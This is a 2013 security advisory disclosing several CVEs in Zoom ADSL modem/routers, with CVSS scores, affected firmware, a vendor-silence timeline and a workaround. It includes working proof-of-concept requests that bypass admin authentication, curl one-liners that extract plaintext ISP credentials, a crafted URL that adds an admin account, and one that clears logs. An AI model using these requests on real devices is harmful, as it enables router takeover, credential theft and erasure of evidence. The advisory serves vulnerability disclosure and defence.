Five models of the Zoom Telephonics ADSL Modem/Router line suffer from
multiple critical vulnerabilities, almost all being of a remote access
attack vector.

Models affected:
Zoom X3 ADSL Modem/Router
Zoom X4 ADSL Modem/Router
Zoom X5 ADSL Modem/Router
Zoom ADSL Bridge Modem Model 5715 (1 vulnerability)
Zoom USB ADSL Modem Model 5510B (1 vulnerability)


Timeline:
The vendor has not responded to our inquires concerning these
vulnerabilities. They were first reported on June 28th, 2013 and
partial disclosure was made on July 9, 2013.

----------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------

Directory Traversal/Unauthenticated access to administrative panels

CVSS Base Score 9.7
Impact Subscore 9.5
Temporal Score: 8.3
(AV:N/AC:L/Au:N/C:P/I:C/A:C/E:F/RL:W/RC:UR/CDP:H/TD:H/CR:ND/IR:ND/AR:ND)
CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CVE-2013-5622 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.2
CVE-2013-5627 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X
CVE-2013-5624 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.0.X


By simply placing the following two URLs into a web browser, a
vulnerability will all models and firmware versions allow for bypass
of administrative credential challenge. All models and firmware
versions can access these pages with no authentication. An
un-authenticated user can preform almost all administrative tasks once
the authentication is bypassed.

http://<IP>/hag/pages/toc.htm (--Menu Banner)
http://<IP>/hag/pages/toolbox.htm (-Advanced Options Menu)


----------------------------------------------------------------------------------------------------------------


Improper handling of unexpected characters/data

CVSS Base Score 8.3
Impact Subscore 8.5
Temporal Score: 6.7
(AV:N/AC:M/Au:N/C:P/I:P/A:C/E:POC/RL:W/RC:UR)
CWE-241: Improper Handling of Unexpected Data Type

CVE-2013-5623 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.2
CVE-2013-5628 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X
CVE-2013-5631 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.0.X
CVE-2013-5632 - Zoom ADSL Bridge Modem Model 5715; all firmware versions
CVE-2013-5633 - Zoom USB ADSL Modem Model 5510B; all firmware versions

When an unexpected/illegal character is added to the end of any URL
which calls a value, such as http://<IP>/MainPage?id=25' the browser
will immediately redirect the browser to the "System Status" page
without authentication, where links to each interface (i.e.
eth-0,usb-0,etc) is both selectable whose properties can be edited.


----------------------------------------------------------------------------------------------------------------

Plain text storage of ISP/PPPoe usernames/passwords

CVSS Base Score 6.8
Impact Subscore 6.4
Temporal Score: 8.6
(AV:N/AC:M/Au:N/C:P/I:P/A:P/E:POC/RL:W/RC:UR)
CWE-311: Missing Encryption of Sensitive Data

CVE-2013-5620 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.2
CVE-2013-5626 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X
CVE-2013-5629 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X
2.2.X 2.5.X 3.0.X

The following command will display the ISP usernames and passwords.
(The print value may vary slightly based on firmware.)

Proof of Concept
curl -s http://<IP>/MainPage?id=25 |egrep -i 'MacWanPasswd'|awk '{ print $8 }'
   value="wanpasswd1" ('or similar')

curl -s http://<IP>/MainPage?id=25 |egrep -i 'MacWanUsrName'|awk '{ print $21 }'
   value="user@usersisp.net" ('or similar')


----------------------------------------------------------------------------------------------------------------

Unauthenticated direct execution of administrative tasks

CVSS Base Score 10.0
Impact Subscore 10.0
Temporal Score: 8.6
(AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:W/RC:UR/CDP:H/TD:H/CR:ND/IR:ND/AR:ND)
CWE-285: Improper Authorization

CVE-2013-5621 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X
CVE-2013-5625 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X
CVE-2013-5630 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X

Administrative authentication can be bypassed and commands directly
executed with specially crafted commands.

Proofs of Concept -

Create New Acct Admin or Intermediate - (all PW and admin names are
'or similar')

http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes


Clear Logs

http://<IP>/Action?id=76&cmdClear+Log=Clear+Log

----------------------------------------------------------------------------------------------------------------

Fixes/Patches:
There are no known patches or fixes for these vulnerabilities at this time.


Workaround:
It is advised to turn off all remote administrative access to the
router. This workaround however, will not prevent local attacks.

----------------------------------------------------------------------------------------------------------------

External Links
http://www.osvdb.org/show/osvdb/95071
http://xforce.iss.net/xforce/xfdb/85612
http://www.idappcom.com/db/?7819


Vendor Links
http://www.zoomtel.com/products/5715.html
http://www.zoomtel.com/graphics/datasheets/adsl/USB_3104_5510B.pdf
http://www.zoomtel.com/products/adsl_overview.html
http://www.zoomtel.com/products/5760.html
http://www.zoomtel.com/products/5751.html
http://www.zoomtel.com/products/5754.html


Discovered - 06-28-2013
Updated - 09/01/2013
Research Contact - K Lovett
Affiliation - QuattroSG